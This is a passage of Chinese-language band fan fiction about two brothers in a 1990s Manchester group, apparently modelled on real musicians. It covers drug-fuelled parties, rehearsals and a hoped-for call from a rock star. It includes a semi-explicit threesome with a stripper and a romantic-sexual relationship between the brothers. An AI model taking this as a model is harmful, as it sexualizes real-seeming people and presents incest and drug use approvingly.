因为这群混小子们的到来,助兴派对已不是娱乐性的派对,而变成喝酒斗殴磕药的场所。作为这所酒吧的老板,他正站在窗台怒目注视这场闹剧。
他指挥员工把闹剧的始作俑者叫过来,当然是利亚姆。但利亚姆的情绪很不稳定,老板这样的作为无疑是火上浇油。利亚姆以不友好的眼神制止员工的靠近,并让这位无辜的员工滚出去。
“Piss off,you sucker!”
这位有着天使面孔的男孩毫无礼貌斥退前来的员工,由于紧张的气氛,员工无奈退出房间。
“把那位混蛋的哥哥叫过来。”老板再次下指令。
员工没撤只能照做,所幸,他在舞台上见过这位吉他手。
吉他手据说是bloom乐队的接管者,但他却不像一位接管者,毕竟诺尔个子不高看起来也很瘦弱,瞧起来像个弱鸡让人联想到他接管不了一支乐队。
但当他与诺尔对话后,以上的想法被狠狠打脸,他的嘲笑得到回馈,吉他手的冷静与理性让他留有深刻的印象。
诺尔对员工产生的头脑风暴一切未知,他接到员工的暗示,保有理智来到门口与酒吧老板面对面交谈。
他嗑了很多药,感到自己仿佛陷入一轮虚幻的漩涡之中,里面凌乱混杂,看不清方向,但他努力让自己站稳,并努力让眼神聚焦到酒吧老板身上。
“什么事?”
诺尔把指尖的香烟夹到眼前冷静问道,他抽回视线垂眸吸口烟。
“你们需要离开派对,这是命令。”
诺尔能听到老板话里的强硬态度,他很有眼力见。
“当然,你知道我什么意思?我们并不会搞事。”
话毕,气氛明显有些不对劲,老板犀利的眼神直直盯着他,诉说着满满当当的不信任。
诺尔给双方找个台阶下,软声道。
“你是boss……我们会马上离开。”
他妥协了,进入房间打算带着所有成员离开。在老板眼里,他们这伙人只能是一群给他带来麻烦的地痞流氓或者恶棍。
“Bonehead,过来!”
诺尔对着头哥喊道,头哥正在泡妞呢,疯狂的男孩。
Guigs 和Tony听见声响,一并过来,但利亚姆这小子像个聋子,对这里发生的事情不置可否。
这位年轻主唱得益于他漂亮的脸蛋,身边围满了一堆身材火辣的女孩。女孩们一个个把自己的胸脯往利亚姆手臂上贴,利亚姆嘴张得很大,露出夸张的笑容。
他很享受被莺莺燕燕包围的场面……
操蛋,当诺尔注意到利亚姆周边发生的一切后,他的心情很不美好。吃醋?绝不是或许也有些。他见不得利亚姆舒坦,或许是嫉妒了。
“Oi——”他吹了个口哨召唤“黑暗王子”。
所幸黑暗王子的耳朵不至于聋得彻底,撇开怀里的两个小妞走了过来,搂着头哥的肩膀戏笑。
“我们要走了?”
利亚姆望向管事的诺尔。
“当然,人家老板不想让我们在这儿搞事。”
诺尔淡淡道,语气有些嫌恶,“他是B——O——SS. ”
现在得轮到他称别人为boss了,内心不爽极了。
说完,他带头打开门走出去。
Fuck it,不管利亚姆他们有没有跟上,反正他此时此刻必须离开。
煞笔派对,煞笔老板,他们当诺尔是只会嗑药的混小子么,这些资本家明显瞧不起他们这伙人。这让诺尔的心情糟透了,他恨死自大有钱且狗眼看人低的有钱老板, 他们根本就不懂音乐,只是一群庸俗的垃圾!
他负气回到所住的酒店,坐在床上观望利亚姆。
“你在干什么?”
“我在打电话。”
“我知道你在打电话,我问你在打给谁?”
“保密。”
利亚姆勾起深意的嘴角戏谑道,拿着座机继续拨打号码。
“无聊,不管你打给谁我都没兴趣。”
诺尔不客气道。
“相信我,你会感兴趣的——”利亚姆神秘道,没有停止动作继续按号码。
诺尔他受够今晚发生的一切,分不出精力应付利亚姆的言外之意,他只想洗个澡好好睡一觉。
诺尔从包里翻了一条内裤以及一件衬衫进入浴室。当他洗完澡出来后,房间莫名其妙多出一位女性。
这位女性很不同寻常,她有着一头枯燥的金发,但算得上漂亮。身着短到不能再短的黑色露背上衣,把她完美的身材曲线显现出来,以及裹住整个饱满臀部的镂空牛仔裤,一条蕾丝丝带绑在纤细的脖颈上……
正常女性不会像这个女人一样,诺尔犀利的眼神上下打量这位突然出现的女性。
“你是妓女。”
不是问句而是陈述,他笃定这是位妓女。
“你把妓女带到我们的房间做什么?”他把视线放在利亚姆身上,头疼道,“你要搞什么鬼,小混蛋?”
“我刚刚从狂欢派对离开,现在才晚上十一点,这特么夜生活才刚刚开始!”
利亚姆不满吼道,对着面色难看的诺尔抱怨,“只是位妓女,你不喜欢她吗?她漂亮极了。”
利亚姆边说边走过去摸着女人裸露在外的肩头,他低下头在光滑的肩膀上亲吻,吻毕抬眼投以诺尔挑衅的视线。
诺尔被这般火辣的场面蛊惑,不自觉走进床边的两位。
他望着妓女询问。
“你叫什么名字?”
“汉娜。”
“你是我口中所说那样,你是位妓女?”
“事实上差不多。”汉娜嫣然一笑,抓过诺尔的手放在自己的胸脯上。
“其实我是位脱衣舞娘,你想看我跳舞嘛?”她勾着诺尔的下巴调情。
诺尔陡然僵住,视线飘浮,不巧与利亚姆对上。两人的眼里好似说着:这个叫做汉娜的脱衣舞娘是个妙人,她扭动的身子魅惑极了。
汉娜瞬间进入状态,饱满的臀部暧昧地蹭着伏在她身后利亚姆的胯,眼神炙热盯着前方的诺尔扭着细腰,并勾着指腹把上衣剥落,把曲线大大方方的展现出来。
她把身上最后一件衣服脱下,对着诺尔的方向拎起内衣,启唇道。
e on, boy. 不要害羞,让我看看你的能耐……”
汉娜把衣服甩到地板上,对着诺尔抿唇浅笑。一举一动让人联想到魅魔,她是来自黑暗中的一束白光,浅白的肤色与酒店黑暗的灯光比较显得更加冷白,不似常人。
诺尔被汉娜异常的美丽蛊惑住,牵动嘴角露出微许僵硬的笑容。
他有些迟疑,但这会很有趣不是吗?这对他和利亚姆……还是第一次这般大胆且禁忌。
在他的迟疑时刻,利亚姆已贴着汉娜相拥,别着汉娜的下巴热情亲吻,但其依旧对着诺尔持有炙热的眼神。
他像挑衅也像请求,但诺尔觉得男孩的挑衅占了大半,毕竟他太懂利亚姆了,男孩的心里绝对这样,“你就像个青皮青蛙软着腿,你个软蛋怂货,你在害怕吗?”
诺尔不害怕与汉娜来场激情,他害怕的是在此过程中利亚姆会搞些什么鬼。在外人面前风险太大,他不敢赌。
但已不由自己,他不想当临阵脱逃的怂货,不至于以后给利亚姆留下嘲弄的笑柄。
不知不觉中他抵触的心理消逝,汉娜很聪明的感知到,将胸脯送到诺尔手中贴着他热吻。
他愣住了,利亚姆刚刚是亲吻过这嘴唇……
但箭在弦上不得不发。
他主动将舌头闯入女孩湿软的口腔,指尖搭在汉娜光裸的肩胛骨上。
他分出心神,余光落到汉娜身后的利亚姆身上。
利亚姆没想到诺尔是这般热情,由于诺尔的加入,他感到被冷落了,抓着汉娜的肩膀不爽轻吻。
“你害怕吗?”他问。
男孩的声音很小,所幸诺尔听到了。
刚才不知什么时候利亚姆的手覆到诺尔手上,与他一同搭在汉娜腰上。
诺尔趁着接吻空隙,“当然不,小混蛋。”
两人都光裸着上半身,都是一样的清瘦,尤其是利亚姆,嵌着的锁骨往里深陷,莫名的色气。
汉娜转身与利亚姆亲吻。
慢慢地,吻消失了出现在女孩的胸脯上。汉娜害羞微笑,顺着利亚姆的力道温软着身子。
诺尔给利亚姆一个眼神示意
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。
男孩很懂他,压着汉娜的脑袋让她跪到地上。
汉娜顺势将两人的裤子半脱……
省略几十字。
——
诺尔躺在床尾而汉娜跨坐他身上,利亚姆趴在汉娜的后背……省略(自行幻想)。
——
“你应该离开了。”
诺尔从浴室出来,带着浑身湿漉漉的水汽。今晚他洗了两次澡。
“我不是免费的。”汉娜扬起音量,她正站在床边穿衣服。
“我知道。”诺尔淡淡道,从包里掏出50英镑给她。这对他来说不是小金额,有些肉疼,但这是他必须要割舍的,毕竟他是花钱的客人。
“冒昧问一下……”汉娜立在已经半开的门口问。
“问什么?没关系的,你可以问任何事。”
利亚姆也从浴室出来,正巧听到汉娜的问话,他轻笑道。
诺尔靠着电视柜吸烟,听到利亚姆话后,对着汉娜点头,“问吧,什么事儿?”
“你们是什么关系?”汉娜看起来很踌躇。
话毕,诺尔与利亚姆大笑起来,这让汉娜看起来更加无措。
“我说错话了吗?”
“女孩,没事的,这问题很显而易见,不是吗?”诺尔将眼刀刺向即将开口的利亚姆,收到他的暗示,利亚姆闭嘴了。
“你觉得我们是什么关系?”他咬着烟嘴问,眼神有些飘忽,心思已不在房间内了。他那迷离恍惚的样子,倒像是飞到了外太空看见了外星人。
“你们是爱人。”汉娜迟疑道,不安地摸着门把手,“对……你们是爱人,我相信我的直觉。”
“哗——”足足十几平的房间瞬间安静,安静到有些不对劲。
汉娜捂住嘴,意识到自己说错话了。
“抱……抱歉。”她歉意道。
“砰——”门被重力砸上的声音。
房间里已看不见汉娜,诺尔夹在指间的烟头落地,将飘忽的视线缓慢地落到房间的另一人身上。
利亚姆靠在浴室门槛边上,正对着他戏谑的微笑。
“所以……我们现在是爱人了,因为上同一个妓女?毕竟你没有反驳。”
男孩走近电视柜,弯腰把下巴搁置在他肩头。
诺尔的余光能看到男孩勾起的愉悦笑容,他继续点上一根烟抽着,看着周边冒出的白色烟雾中低低道。
“嗯……随你。”
诺尔转身,在注意男孩嘴角的弧度扩大后,他紧紧抱着利亚姆,双手紧紧贴着男孩的单薄且紧实的后背。
利亚姆顺势把脸颊贴近身边人的脖子,温热的呼吸扑在耳旁。
“你知道的,我爱你,这永远不会改变。”男孩软声道,带着些许情事过后的慵懒。
“我知道。”
诺尔抚摸他毛茸茸的脑袋,神情不经意间露出苦楚,“但是,我们不可能一直在一起,有人会发现……”
利亚姆靠在他身上摇头,显然他不赞同诺尔的想法。
诺尔无奈叹气,撑起利亚姆的脑袋让男孩对他对视。
诺尔的眼神很理智,甚至有些冷酷,在白色灯光的反射下泛着清冷的蓝色。
“你知道我什么意思,你不是女孩我也不是,你不可能嫁给我,我也不可能嫁给你。就算我们之间的感情再深厚,那也不容人接受……”他顿了顿,感觉内心在滴血,想必利亚姆也是。
他看着利亚姆继续道,“更何况我们有共同的父母,这会让我们的感情更加复杂更加难以理清,我们的妈妈会伤心死的,我们的家人会恨我们,我们的朋友会像躲老鼠一样躲避我们,还有我们的前途……”
诺尔没有继续说下去,利亚姆那么聪明,他会知道他的未尽之意。
利亚姆垂眸,带着僵硬且固执的嘲弄,“这就是他妈的社会!”
他撇开诺尔的双手低下脑袋,试图掩盖眼角的湿意。
“哭了?”
“没有,我他妈才不会哭!”
“行吧。”
没哭就好,毕竟诺尔不善于安慰人,他也不想多费口舌叭叭来叭叭去。
“过来睡觉,you little tart. ”
诺尔把他的温柔收了回去,恢复成恶棍的模样。
“嗯,来了。”黑暗中传来利亚姆黏糊放软的声音。
44. Sister Lover 女子乐队
第二天,他们一伙人收拾好设备与行李回到曼切斯特。还未进去曼切斯特区域,湿意的水汽扑面而来。
“把窗关上。”利亚姆漫不经心说着。
“嗯。”诺尔关上窗,利亚姆把指尖搭在他手腕上,他低头看,“快到了。”
“是的,外面下雨了,鬼天气!”
头哥把Guigs和Tony送回家,车里还有三人。
“利亚姆,你现在想回家休息吗?”驾驶座的头哥询问,他把手臂搭在后背转身望向利亚姆。
“把他送回家,他发烧了。”诺尔下车打开副驾驶的车门坐上去。
“Bonehead,先送利亚姆回去,然后我再陪你去还车。”
“你们昨晚在搞什么,利亚姆为什么发烧?”头哥格外在意利亚姆的病情原由
“因为空调。”他很敷衍道。
“得了哥们,因为空调,你觉得我会相信吗?这听起来像狗屎。”头哥愤愤不平,语气放得很低,因为他不想打扰车内病人的休息。
“相信我,就是因为空调,他太矫情了。”诺尔打开车窗,窗外的雨点更加密集了。
“他受不了空调的暖气,但夜晚很凉他不得不开,他是个抵抗力低下的男孩,这让他生病。”诺尔边抽烟边道,这些是真话,他没有说谎。
他顿了顿无言,继续抽烟。诺尔省略了夜晚过分火热的激情……这不需要广而告之让朋友知道。
“下车吧,利亚姆。”车已到目的地,他甚至能看到他们的大哥保罗站在窗户前观望。
“好好休息,你知道的今晚我们不排练。”头哥对着下车的利亚姆叮嘱。
“嗯,知道,拜拜。”利亚姆贴着车窗这对他哥和头哥告别。
“哄——”头哥发动车,踩油门出发还车租借地。
他们把钥匙还给店里的员工,两人双双走出去站在门口抽烟。
“昨天晚上,不……是凌晨我看到一位金发女郎从你和利亚姆的房间出来……”
Bonehead不是故意的,他的房间与诺尔利亚姆的房间只隔了几道门,一出门偏个头就能看到诺尔他们的房门。
诺尔抖着腿,吸烟的动作未停,但睫毛的颤动暴露心底的情绪。
诺尔抬眼与头哥对视,他点头承认头哥所说。
“所以……你们真的点了位金发女郎。”头哥翘指头看起来有些震惊。
“怎么样?”他在问女郎的滋味。
“很棒。”
诺尔抖着烟灰敷衍道。
“那你是和利亚姆一起……”
头哥没说完就被诺尔打断。
“别问那么多,Bonehead, 我真诚的劝告。”
他扔下烟蒂,将逼人的气势收回。
“晚上喝一杯,怎么样?叫上我们的朋友,别告诉利亚姆。”
今晚太无聊了,露易丝不在曼切斯特,India House 公寓也没有一丝人气,他需要与朋友一起找些乐趣。
“随时奉陪。”
头哥在他肩头拍了一下,“我需要带上我的女友,最近忙得都没时间陪她。我可以带上我的女孩吗?”
诺尔虽然是乐队的boss,但他绝不是那种掌控朋友生活的控制狂,他当然同意头哥的请求。
“带上吧,有女孩的陪伴会多些趣味。”
他晃着发胀的脑袋,发出道别通牒。
“我先回公寓休息,晚上打电话联系。”
与头哥拥抱后,他离开了。
诺尔回到公寓睡了一觉,当醒来后已经接近晚上六点多。他随便应付晚餐,吃了几片面包和几块火腿。
吃完后他窝在沙发上打电话,不是打给头哥,而是家里人。
“妈妈,你在干什么?”
“准备刷盘子……利亚姆正帮我呢。”
“Rkid退烧了吗?他怎么样?”
“利亚姆棒极了我给他找了药吃。不用担心他,我的孩子。”
妈妈让他牵挂利亚姆的心收回胸腔,诺尔与妈妈寒暄片刻后便挂断电话。
他继续拨打今晚的第二个电话,打给头哥。
“喝一杯,现在出发?”
“当然, 我们已经出发了,在The broadwalk等你。 ”
乐队一伙人经常在这个地方喝酒,并且此地还是他们乐队经常演出的地方,诺尔对他们在此喝酒并不感到意外。
他把外套搭在肩上出门。
“动次打次,dance——”
The broadwalk俱乐部今晚的气氛过分火热,播放的音乐不像平常那般温和。
“诺尔,这里。”头哥站在椅子上喊他。
诺尔过去,走到朋友们中央坐下。
“今晚什么情况,他们在举
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办什么活动吗?”诺尔在朋友Guigs耳边喊道。
“是的,哥们。”
Guigs递过来一杯酒,诺尔接过。
“今晚将有新乐队加入到我们,是sister lover,一支本地全女子乐队,她们将和我们在一间排练室排练,这值得庆祝。”
Guigs对着诺尔调皮眨眼,看来他很期待姑娘们加入和他们一起练习。
搞摇滚乐队的姑娘们太少了,诺尔也很期待与她们见面。
“姑娘们在哪?”诺尔灌入一口啤酒,大声问朋友们。
“别急诺尔,她们几分钟后将上台演奏。”Guigs 接上话。
头哥搂着诺尔的脖子道,“Boy,迫不及待了,是么?”
“当然。”
诺尔举起酒杯与朋友们碰杯。
他们一伙人围着一张桌子坐下等待演出的开始,头哥抱着女友头靠头亲昵地聊天。
Guigs与Tony靠在一起不知道聊着什么,而诺尔垂着头安静的喝酒。
几分钟后,俱乐部所有灯光被熄灭,全场安静下来。一位女子抱着吉他上台站在话筒架前,身后跟着站着三位女子成员。
不愧是玩摇滚的姑娘,她们很酷,化着烟熏妆戴着鼻钉或者耳钉。无所谓,她们酷毙了,她们演奏的音乐同她们一样酷。
可惜的是,台上的sister lover只演奏了二十分钟左右就下台了,成员四人兀自来到诺尔的桌子边上。
“你们就是和我们一起排练的Bloom乐队?”
刚刚台上的女子主唱询问,挂着惹人讨喜的灿烂笑容,“我叫黛比,这是我的成员们。”
“嘿,您们好。女孩们,请坐下来。”
头哥搂着女友站起腾出位置。
诺尔也站起,不过他离开桌边从吧台带来四个玻璃杯,他把啤酒满上。
“你们的表演很棒。”他弯腰靠近黛比道,带着些局促。
“谢谢。”黛比接过酒杯喝了一口,她继续道,“你们的主唱在哪?”
“他生病了,今晚不在这儿,明天你会在排练室见到他。”
诺尔面对美女总是很礼貌,他扬眉道,显然此刻他的心情很不错。
“Cheers!”女性贝斯手站起来欢呼道。
为表现对女子乐队的尊重,他们男孩们全部站起与女孩碰杯。
45. 摇滚明星约翰·马儿的哥哥
“叮——”杯子与杯子发出清脆的声音。
这声响像是打开迷幻镜像的开关,代表夜晚的狂欢时刻来临。现因sister lover女孩们的加入,让诺尔一伙人徒增无数乐趣。
他们狂欢了几个小时?
诺尔完全没有印象,唯一记得的是凌晨路边昏暗的路灯,朋友们嘈杂的欢闹声以及嘴里吐出的烟草和酒精味。
他告别了朋友们回到了公寓,直接躺在沙发上睡了过去。他太困了,并且醉的一塌糊涂,浑身上下飘忽得很,一看到沙发他就扑了上去。
他一直睡到第二天临近下午四点左右,未曾想刚醒来他就在房内看到了利亚姆。
这小子正窝在诺尔腿边看他近期写的歌词,不知道利亚姆从哪里翻出来的。
“你什么时候过来的?”嗓子发干的沙哑声。
诺尔坐起来,揉着宿醉发疼的脑袋。
“可怜的Rkid 。”诺尔的脑袋被他摸了几把,利亚姆离开沙发端来一杯饮用水。
“喝吧,昨晚玩得很疯?”利亚姆把水递给他问道。
“嗯……是很疯狂。”诺尔抿着水低低应道。
他站起来脱光衣服,弓着身子在衣柜寻找干净的衣服。
找到后,对着利亚姆自嘲,“我他妈闻起来像坨屎,不是吗?我真的很需要洗个澡。”
“是的,你闻起来很恶心。”利亚姆应和,佯装作呕状捏着鼻子。
“你个混蛋,太夸张了。”
诺尔进入浴室洗澡,在哗啦啦的水声中他能听到门外利亚姆的反驳。
“你才是混蛋!”
“随你怎么说。”诺尔对着门大声吼。
“洗完后我们去外面吃个晚餐怎么样?”利亚姆走到浴室门前叩了叩。
“当然可以,老弟。请不要进来。”诺尔把
已经半开的门关上,他的弟弟在捣蛋,他不会给利亚姆进入浴室的机会。
“滚远点,小恶魔。”他骂道,“如果你进来干扰我洗澡,我会脱下你的裤子扇你的屁股!”
“Fuck you! ”利亚姆挂着被他哥戳穿的尬笑,继续不爽道,“我才不会进入浴室捣乱,我不是三岁!”
“是的,你是。”
门后的诺尔提高音量调笑,“相信我,你就是个没有长大的白痴。”
“Piss off, 混蛋诺尔!”
脚步声渐渐变远,看来利亚姆被他怼走了。与诺尔吵架,利亚姆简直自寻死路,他说出的话绝不会比诺尔更恶毒,诺尔对此很骄傲。
但他的弟弟只能他骂,所有骂利亚姆的人都会被他的拳头伺候。就算利亚姆是个白痴,他只能是诺尔的白痴。若利亚姆知晓了,他会把这当做最美的情话。
想到此,诺尔不自觉轻笑,他关闭淋浴穿戴好走出去。
“走吧我的男孩,想吃点什么?”他穿上外套询问,带着宠溺。
“Fuck it, 无所谓我都可以。”
利亚姆从沙发上抬起屁股走近,挽着他的胳膊。
“吃印度菜吧,附近印度餐馆的咖喱菜很不错。”
诺尔将男孩撒手踢开,“别那么腻歪,滚远点。”
“不。”利亚姆很固执,依旧贴过来,不过这次改为抓着诺尔的左手,力气很大让诺尔无法甩开。
“这样很好,别推开我了。”男孩靠近他的脖子撒娇。
“得了闭嘴,矫情的男孩。”诺尔皱着眉抱怨一声,他的手与利亚姆牵在一块儿没有放开。
口是心非的诺尔,这是利亚姆此刻所想。Rkid 对他的亲昵明明喜欢的很,却没有说出口。没关系他心里知道就好了,毕竟他家兄弟脸皮薄得很,说出来诺尔会羞愤怼他,这是利亚姆不想经历的,他听了诺尔的话紧紧闭上嘴巴。
一顿简单的晚餐磨磨蹭蹭吃了将近一个小时左右,五点四十几分他们来到排练室。
诺尔把利亚姆这位年轻主唱介绍给sister lover一伙人。
“Wow,你真漂亮。”女性鼓手捂住嘴巴惊叹。
“只是漂亮?”利亚姆对着女孩调皮wink。
诺尔在旁边轻笑,观看利亚姆与女孩们打诨聊天。
时间差不多了,到了夜晚排练时间。诺尔让bloom乐队所有成员聚在一块儿,他坐在椅子上弹奏近月新编的曲子。
“Hei you,up in the sky ——”
继续,“How does it feel when you inside me ……”
一曲毕,利亚姆鼓掌赞美,“我喜欢这首歌。”他把肩膀搭在他哥肩头并望着他哥微笑。
“听起来有点怪异,inside me?”头哥迟疑道,摸着脑袋继续说,“不过这首歌很棒,虽然节奏简单但很有味道。”
“我同意,我也喜欢这首歌,它很简单不是么?”Tony笑了起来了,摆出打鼓的姿势,“我只需要打出持续且相同的鼓声,这对我来说很轻松。”
“这不是你懒的理由。”安静的Guigs语言犀利。
诺尔放下吉他浅笑,他对着利亚姆招手,“过来,我再给你演示一遍。”
利亚姆没动,表情不屑。
“Shit, man. 我现在就能唱。”他走到话筒架旁。
“行吧,若你唱错了我会打你的屁股。”诺尔笑骂道。
他拎着吉他站到主唱左后方,并对着其他成员招手,“还愣着干什么,快来准备。”
头哥,Guigs抱上乐器并列站在主唱右后方,鼓手Tony抓着鼓棒准备开揍。
“好了?”利亚姆偏头问。
在所有人点头后,诺尔以眼神示意节奏吉他手头哥,由此排练开始,慢慢加入贝斯和鼓声,后相配主音吉他solo。
诺尔只给主唱演了一次,而利亚姆却完美的演唱出来,不得不承认利亚姆是个天才。
诺尔内心发涨,他为舞台上发光的男孩而自豪。
大约排练了三次或者四次,诺尔有些记不清,毕竟这首歌的排练时间占整体的排练时间过少。
他们对自己的演奏很自信,开始排练其他乐队的歌曲,比如说,披头士的大半歌曲以及U2的首张专辑。
凌晨二点左右,Bloom乐队结束排练, 与他们在一起练习的姐妹团Sister lover 可不像他们那般刻苦,女孩们早就回家了。
她们不会成功的,诺尔心想。她们没有为摇滚而死,这是不可行的。她们会失败,而我们会成功。事实证明诺尔是对的,虽然现在的他并没有意识到。
——分
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割——
第二天早上,诺尔口袋里揣着利物浦演出赚来的英镑打算去街中心的唱片店买张专辑。
那买谁的专辑呢?操蛋,他不知道,到店里就知道了,不是吗?
他会在货架上挑选,然后找到自己喜欢的唱片。他总得买一张带回家,这“价值不菲”的商品将会激发他的写歌灵感,他需要这场购物。
这家唱片店在曼切斯特是小有名气的存在,聚集了大部分年轻人,男孩们都在这听歌抽大麻,女孩们围在货架前大谈各自喜欢的乐队。
诺尔讨厌人多的地方,他会觉得有些无所适从,所以在挑了张合眼缘的唱片后就离开了。
街道还算得是安静,他站在路口抽烟并等待绿灯。在等待的时间是很无聊的,所以他把目光放到过往的路人身上。
一位深发男性与他共同等待绿灯,这人有些眼熟。
诺尔偏头光明正大盯着男人望,突然灵光一闪,他意识到这是位名人,诺尔在电视采访上见过他。
“先生,你是卡尔·马儿吗?约翰·马儿的哥哥。”诺尔礼貌询问。
“是的。”男人礼貌点头,他的手里拿着购物袋,看起来很温和近人。
这让诺尔的胆子变大,他走近这位名人伸出手期待得到回应。
“我喜欢你的兄弟,我觉得约翰·马儿的吉他独奏棒极了!”
“谢谢。”卡尔与他礼貌握手,挂着浅笑,“我觉得我的弟弟会很高兴听到你的赞美。”
“我和你家兄弟一样是位吉他手,他是我的榜样。”诺尔紧张道,双手紧紧贴在一块儿,从外套口袋掏出一张录音带。
这是昨晚刚刚录制的,诺尔希望它发挥作用。
“我在一支叫做Bloom的乐队里,这是我们最近录制的demo……”诺尔摸着脖子无措道。
诺尔有些结巴,但不影响卡尔能够读懂他。
“你想要我把你的录音带引荐给约翰?”他的笑容扩大了,惊讶男孩的大胆和直白。
“是的,我希望等到他的回复,我请求……”
他话未尽就被卡尔打断。
“Boy, 我敬佩你的直爽。”卡尔拍着男孩的胳膊,笑容未停继续道,“我很乐意为你引荐,给我你的号码和地址,我会让我家兄弟联系你。”
说完,他接过男孩手里的录音带。
“谢谢。”诺尔终于露出笑容,他从口袋掏出一支笔,这是他随身携带的。但他没有携带纸张的习惯……脸上的笑容又消失了。
“用这个吧。”卡尔掏出一盒烟,他把烟盒的盖子撕掉递给男孩。
诺尔反应及时,快速接过写上自己的姓名电话以及公寓地址,完后他放到卡尔手里。
“谢谢你卡尔,期待与你下次见面。”
诺尔再次伸出手。
卡尔轻握,依旧是一副温和近人的模样。
“再会。”男人对着诺尔告别。
男人慢慢走远,诺尔狂跳的心脏缓了过来,盯着眼前的斑马线发呆。
这是他今天遇上的第一位与音乐相关的名人,他幸运自己能遇上约翰·马儿的哥哥,他能为乐队做的他都做了,现在他们需要等待约翰·马儿的电话。
(PS : 约翰·马儿为英国著名史密斯乐队的前吉他手,现作为独奏音乐人演出为大家所知。)
46. 约翰·马儿来电
夜间乐队排练期间,他把白天遇上卡尔·马儿并与之交谈的内容告诉利亚姆和成员们。男孩们为此感到意外并恳求耶稣赐福让他们收到摇滚明星约翰·马儿的回复。
“他会打电话给我们的。”利亚姆抓着话筒笃定道。他看起来很随意,一点也不为因见不到约翰·马儿而发愁。
“你又知道了,为什么这样说?”诺尔嘲弄,“你是通灵者吗?你不可能什么都知道!”
“我就是知道……”利亚姆顿了顿,“因为我们乐队棒极了!”
利亚姆从来不知道“谦虚”二字该怎么写,他的自负发言让诺尔忍俊不禁。
“闭嘴吧,你个狂傲的混蛋。”他把巴掌拍到利亚姆的屁股上。
“滚开。”利亚姆躲避他哥的攻击。
“我很棒。”利亚姆指着自己的胸口眼神带着坚定,高声道。
“你很棒,你也很棒。”
他依次指着头哥和Guigs。没有Tony,因为Tony离开房间上厕所去了,所以利亚姆放弃指着Tony的手指,他转而指着他家兄弟诺尔。
“诺尔,你是我见过最棒最厉害的人,我爱你。总之,你棒极了。”利亚姆来到诺尔眼前道,说着他不经常对着诺尔说出口的赞美话。
在他哥读懂他后转身继续发言,语气兴奋,“如果约翰·马儿不觉得我们很棒,那他绝对是坨屎!”
“Bo——”
排练室内发出嘘声。
著名摇滚吉他手是坨屎?利亚姆是个满嘴喷粪的小混蛋,他们知道,所以每个人都没有抓着利亚姆的炸裂发言不放。
利亚姆就是这样直来直去,想说什么就是什么的臭屁性子,而朋友们早已习惯,更何况是诺尔。
作为利亚姆的亲哥哥,他需要把这句“名言”偷摸记在心里,在利亚姆嚣张的时候把它抖出来当做众人的嘲弄笑资,这绝对会让利亚姆吃瘪。
诺尔迫不及待想要见到这个场面发生,最好是当着约翰·马儿的面。这绝对劲爆极了,这位摇滚明星会把利亚姆的屎给打出来!
好了言归正传,他们每个人都期待得到约翰·马儿的回复,每天都在念叨这位摇滚明星怎么还没联系诺尔给他打电话,直到……一个月后。
时间为1993年5月23日,诺尔生日的前一星期,正巧这天露易丝再次离开公寓飞往巴黎工作,所以诺尔记得很清楚。
因为该死的繁重工作,露易丝没有时间陪伴他,而没有女孩的陪伴诺尔只能一人窝在公寓里。这太无聊了,不是吗?所以他打电话给利亚姆让他来公寓陪他喝酒。
半小时后,他后悔了……
利亚姆从来就不是个安分的男孩,他总有法子让诺尔不舒心。
这个混蛋带着三个从路边搭讪的陌生人来到诺尔的公寓,哦,是的,全是漂亮的鸟。这完全在他的意料之内,因为利亚姆是位漂亮的男孩所有的女孩们都喜欢他。
“Rkid! ”利亚姆站在沙发靠背上对他喊。
这小子站那么高,怎么不摔死他。诺尔假装没有听到利亚姆的喊声,背对着他望着窗户。
“Rkid!Rkid!Rkid……”
利亚姆持续不断对着他的方向喊着,诺尔要被利亚姆这个混蛋烦死了,没撤只能来到他的身边。
“What?”这个只想吸引他注意的男孩,诺尔不理他,他将不会停止。
“去开个门,你没听到你的门被敲响吗?”男孩笑骂。
话尽,利亚姆从沙发靠背上跳下来,他坐在女孩们的中间,以一种欠打的表情督向诺尔。
“你个混蛋!房间的音乐声音那么大,我他妈可听不清门口的声音。”他指着利亚姆臭骂,“再说,你先听到了不应该是你去开门吗?”
“懒鬼!”诺尔骂出心中所想。
利亚姆这小子他是怎么回应?他左拥右抱着女孩们调戏呢!没有心的男孩。诺尔只能沉默走远去开门。
“嘿,诺尔,利亚姆他打电话让我们过来。”门口站着头哥和Guigs。
Fuck! 得了,利亚姆还嫌他的公寓不够拥挤吗?真操蛋。但门口是他的朋友们,所以诺尔只能邀请他们进门。
“我们的鼓手Tony没来?”无所谓了,反正房间里的人够多了,他往房间内走。
幸亏头哥和Guigs有些眼力见知道带些酒水,而不是像利亚姆一样白嫖他冰箱里的啤酒。
他接过Guigs递过来的德国淡啤喝了一口,站在窗台前观看房间内发生的一切。
电视柜上放着一个收音机,是诺尔刚搬到公寓置办的,他以三十五英镑收的二手物件。
这个老物件被塞入唱片,以最大的音量贯彻整个房间。但不知道什么情况,半小时后收音机卡顿,间歇性地发出“咻——咻——”的噪音。
“让它停止工作!”诺尔咬着烟大声吼道,这“咻咻”的声响过于刺耳,烦的很和利亚姆一样。
利亚姆收回放在窗边的视线,抛下怀里的姑娘们跟着头哥一起琢磨坏掉的收音机。
头哥把唱片拿出来再放进去,这起到微许作用,但过了几十秒那“咻咻——”的声音又回来了。
“让我来。”利亚姆噙着一抹坏笑,他抬起手在收音机的顶上拍了一巴掌。有时候暴力能解决问题,此刻正在发生。
“起作用了!”利亚姆兴奋道。显然他也不知道刚刚送出的巴掌能够起作用,他对着窗边的诺尔绽放夸张的笑,嘴巴张得老大。
只要利亚姆与他在同一个房间内,诺尔的视线永远围绕着利亚姆转。他注视男孩的一切,当然看到了刚刚男孩对他绽放的大笑。
诺尔晃着脑袋浅笑,“厉害。”一个很敷衍的赞美。
并附带一个不屑的眼神,“这不是什么大事儿……”
收音机被利亚姆的巴掌治好了,正放着披头士的1964年发行的《A Hard Day''s Night》,很应景的歌曲。
男孩女孩们在狭小的公寓内听歌喝酒欢闹以及起舞,这算得上是美妙的场景……
“铃铃铃……”一道清脆的电话铃声突然响起。
诺尔离电话最近,所以他接起电话。
“谁?”他询问。
“这里是India House吗?我想要找诺尔·汉纳姆。”
这声音有些熟悉,此刻的他没想到电话那边是他等待近一个月的摇滚
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明星约翰·马儿。
诺尔带着不解道,“我就是诺尔·汉纳姆。”
突然他意识到电话那边是谁!
诺尔惊讶,“你是约翰·马儿!”
他听到对面顿了顿。
“是的……我……”电话对面声音很低,让诺尔有些听不清,因为他的耳边全是该死的收音机的炸裂摇滚音乐。
他提高音量对着电话话筒道,“抱歉,请等我几秒,拜托。”
